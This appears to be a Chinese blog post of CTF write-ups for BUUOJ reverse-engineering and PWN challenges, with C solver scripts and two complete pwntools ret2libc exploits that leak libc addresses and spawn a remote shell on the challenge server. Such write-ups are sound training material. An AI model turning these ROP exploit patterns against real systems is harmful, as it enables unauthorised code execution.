  unsigned __int8 v3; // STDA_1
  unsigned __int8 v4; // al
  unsigned int v5; // STFC_4
  unsigned long v6; // ST00_8

  v1 = sub_4119A0(HIBYTE(a1));
  v2 = sub_4119A0(BYTE2(a1));
  v3 = sub_4119A0(BYTE1(a1));
  v4 = sub_4119A0(a1);
  v5 = v4 | (v3 << 8) | (v2 << 16) | (v1 << 24);
  v6 = ((v5 >> 8) | (v5 << 24)) ^ ((v5 >> 14) | (v5 << 18)) ^ ((v5 >> 22) | (v5 << 10)) ^ v5 ^ ((v5 >> 30) | 4 * v5);
  return v6;
}

int main(){
	a[0]=1506841897ul;
	a[1]=233979910ul;
	a[2]=351571239ul;
	a[3]=1762035534ul;
	foru(i,0,31){
		a[i+4]=a[i]^fuck(a[i+1]^a[i+2]^a[i+3]^unk[31-i]);
	}
	char *c=(char *)&a[32];
	ford(i,15,0)printf("%c",c[i]);
}

看别人WP说这是SM4。。。还是我见识短浅。。。。

[GWCTF 2019]re3

IDA打开

image-20200207150345512

首先是一个xor 0x99的smc解密,接下来一个函数没看懂,生成了一个表。

解密之后的函数:

image-20200207150505583

函数里发现了AES的S盒,table应该是秘钥,

动态dump出table:

image-20200207151139167

将最终对比的数据AES解密得到flag

image-20200207151243292

[V&N2020 公开赛]strangeCpp

2020年4月3日:鸽子选手回来啦

对0x140021008处的bytes数组查看交叉引用,发现关键代码,逆向即可。

[BJDCTF2020]JustRE

查看可疑字符串的交叉引用,补上199990就好

[ACTF新生赛2020]easyre

无修改upx壳,脱壳,IDA打开,发现是简单的古典密码映射

#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<algorithm>
#include<cmath>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
char table[]="~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>="
"<;:9876543210/.-,+*)('&%$# !\"";
char str[]="*F'\"N,\"(I?+@";
int main(){
	foru(i,0,strlen(str)-1)
		foru(j,0,strlen(table)-1)
			if(table[j]==str[i])
				printf("%c",j+1);
}

[BJDCTF2020]BJD hamburger competition

根据熟知的游戏逆向常识,直接逆Assembly-CSharp.dll

dnspy打开,发现SHA和MD5函数

简单的运算可以发现secret是1001

算MD5前20位即可

[GWCTF 2019]xxor

关键代码运算可逆,写如下脚本:

#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<algorithm>
#include<cmath>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
unsigned int a[6]={3746099070ul,550153460ul,3774025685ul,
1548802262ul,2652626477ul,2230518816ul};
unsigned int b[4]={2,2,3,4};
int sum=0;

void print(char *x){
	ford(i,2,0)printf("%c",x[i]);
}

void solve(unsigned int x,unsigned int y){
	int t=sum;
	foru(i,1,64){
		y-=(x+t+20)^((x<<6)+b[2])^((x>>9)+b[3])^0x10;
		x-=(y+t+11)^((y<<6)+b[0])^((y>>9)+b[1])^0x20;
		t-=1166789954;
	}
	print((char *)&x);print((char *)&y);
}

int main(){
	foru(i,1,64)sum+=1166789954;
	solve(a[0],a[1]);
	solve(a[2],a[3]);
	solve(a[4],a[5]);
}

[BJDCTF2020]easy

直接把main函数中的system函数patch成ques函数,运行程序即可。

[GUET-CTF2019]number_game

将输入的字符串建成一棵二叉树

然后跑一次中序遍历

然后填数独

14#23
30#1#
0#23#
#3##0
42##1

14023
30412
01234
23140
42301

逆推回去就是这样,需要小学学过的数据结构常识

0123456789
7381940526
0421421430
1134240024

PWN

ciscn_2019_c_1

elf文件中没有system,需要泄露libc基址,题目的libc在buuoj的Links中有提供。

image-20200211175716941

通过puts函数泄露基址,然后构造rop链调用sh

from pwn import *

def encrypt(string):
    newstr = list(string)
    for i in range(len(newstr)):
        c = ord(string[i])
        if c <= 96 or c > 122:
            if c <= 64 or c > 90:
                if c > 47 and c <= 57:
                    c ^= 0xF
            else:
               c ^= 0xE
        else:
            c ^= 0xD
        newstr[i] = chr(c)
    return ''.join(newstr)

io=0
def isDebug(debug):
    global io
    if debug:
        io = process('./ciscn_2019_c_1')
    else:
        io = remote('node3.buuoj.cn',29757)
    
def pwn():
    libc=ELF("./libc-2.27.so")
    elf=ELF("./ciscn_2019_c_1")
    puts_plt=elf.plt["puts"]
    puts_got=elf.got["puts"]
    mainaddr=elf.symbols["main"]
    pop_rdi=0x400c83
    binsh=0x1b3e9a
    payload='a'*88+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(mainaddr)
    io.recvuntil("Input your choice!\n")
    io.sendline("1")
    io.recvuntil("Input your Plaintext to be encrypted\n")
    io.sendline(encrypt(payload))
    io.recvuntil("@\n")
    puts_addr=u64(io.recv(6).ljust(8,'\x00'))
    base=puts_addr-libc.sym["puts"]
    sys_addr=base+libc.sym["system"]
    binsh+=base
    payload='a'*88+p64(0x4006b9)+p64(pop_rdi)+p64(binsh)+p64(sys_addr)
    io.recvuntil("Input your choice!\n")
    io.sendline("1")
    io.recvuntil("Input your Plaintext to be encrypted\n")
    io.sendline(payload)
    io.interactive()


if __name__ == '__main__':
    isDebug(0)
    pwn()

[OGeek2019]babyrop

IDA打开,首先读入一个字符串,并与随机字符串比较

image-20200215114206874

用截断符绕过比较,溢出使返回值为0xff。下一个函数读入上一个函数返回值长度的字符串,进行栈溢出,流程与上一题基本一样,要注意一下32位的传参方式。

image-20200215114312334

exp:

from pwn import *
import pwnlib
io=0
def isDebug(debug):
    global io
    if debug:
        io = process('./pwn')
    else:
        io = remote('node3.buuoj.cn',28012)

def debug(addr = '0x8048884'):
    gdb.attach(io, "b *" + addr)

def pwn():
    payload = '\x00'*7+'\xff'
    #debug()
    io.sendline(payload)
    #gdb.attach(io)
    io.recvuntil("Correct\n")
    elf=ELF("./pwn")
    libc=ELF("libc-2.23.so")
    write_plt=elf.plt["write"]
    write_got=elf.got["write"]
    main=0x8048825
    payload='a'*235+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
    io.sendline(payload)
    write_addr=u32(io.recv(4))
    base=write_addr-libc.sym["write"]
    sys_addr=base+libc.sym["system"]
    binsh=0x15902b+base
    payload = '\x00'*7+'\xff'
    io.sendline(payload)
    io.recvuntil("Correct\n")
    payload = 'a'*235+p32(sys_addr)+p32(main)+p32(binsh)
    io.sendline(payload)
    io.interactive()


if __name__ == '__main__':
    isDebug(0)
    pwn()
posted @ 2020-01-21 13:41  羊毛羊  阅读(1260)  评论(1编辑  收藏  举报